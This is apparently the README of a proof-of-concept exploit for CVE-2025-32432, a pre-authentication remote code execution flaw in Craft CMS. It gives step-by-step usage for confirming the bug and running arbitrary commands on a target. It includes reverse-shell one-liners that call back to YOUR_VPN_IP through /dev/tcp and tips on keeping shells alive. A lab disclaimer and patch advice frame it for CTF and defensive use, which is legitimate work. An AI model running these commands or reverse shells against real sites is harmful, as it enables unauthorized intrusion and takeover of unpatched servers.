
Authorized testing only. This repository is intended for controlled lab environments, CTF platforms such as Hack The Box, internal validation, and defensive verification. Do not run this against systems you do not own or have explicit permission to test.
This project contains a single-target proof of concept for CVE-2025-32432, a pre-authentication Craft CMS remote code execution issue.
The PoC performs two stages:
phpinfo() gadget through Craft CMS's asset transform generation endpoint.The script is designed to avoid a common false-negative issue seen in some public PoCs: a normal image transform request can return 404, while the same endpoint and assetId still work when the actual gadget payload is used.
According to the official Craft CMS advisory and public advisory databases, the affected ranges are:
| Craft CMS branch | Affected versions | Fixed version |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Upgrade to a fixed release immediately if you are responsible for a Craft CMS deployment.
The PoC follows this flow:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
Important implementation details:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout option is included for reverse-shell scenarios.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3Install dependencies:
python3 -m pip install requests urllib3
This confirms vulnerability using the phpinfo gadget only.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Expected successful output:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
The phpinfo response is saved as:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Example successful output:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Use this when you already know the working values.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Some targets may use a custom front controller such as x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
This tests routes such as:
http://target.local/x.php?p=admin/actions/assets/generate-transform
Start a listener first:
rlwrap -cAr nc -lvnp 12345
Then run the PoC with a reverse-shell command:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 disables the request timeout. This is useful because reverse shells often keep the HTTP request open.
Detached variant:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404 during normal scanDo not rely on a normal transform request for discovery. Some targets return 404 for a normal transform body but still execute the gadget payload.
This PoC discovers valid combinations using the phpinfo gadget itself.
Try specifying the session directory manually:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Then try:
--session-dir /var/lib/php/session
or:
--session-dir /tmp
Use one of these approaches:
--timeout 0
Use a detached payload with setsid or nohup.
Confirm your callback IP is correct:
ip -br a | grep tun
This can be normal if the reverse shell connected successfully. Check your listener before treating the timeout as a failure.
Try a simpler command first:
-c "id"
-c "whoami"
-c "pwd"
If simple commands work but complex commands fail, quote the command carefully or use a detached shell payload.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
If you administer a Craft CMS instance:
3.9.15, 4.14.15, 5.6.17, or later..env and database credentials if exploitation is suspected.This project is provided for educational, research, lab, and defensive validation purposes only. The author is not responsible for misuse. Only test systems you own or have explicit written permission to assess.
| Option | Description | Default |
|---|
-u, --url | Target base URL | Required |
-c, --cmd | Optional command to execute after phpinfo confirmation | None |
--front | Front controller filename | index.php |
-s, --scan-max | Maximum assetId to test with phpinfo gadget | 50 |
-a, --asset | Known working asset ID | None |
--endpoint | Known working generate-transform endpoint | None |
--session-dir | PHP session directory. Can be supplied multiple times | Built-in list |
--timeout | Request timeout for command trigger. Use 0 for no timeout | 20 |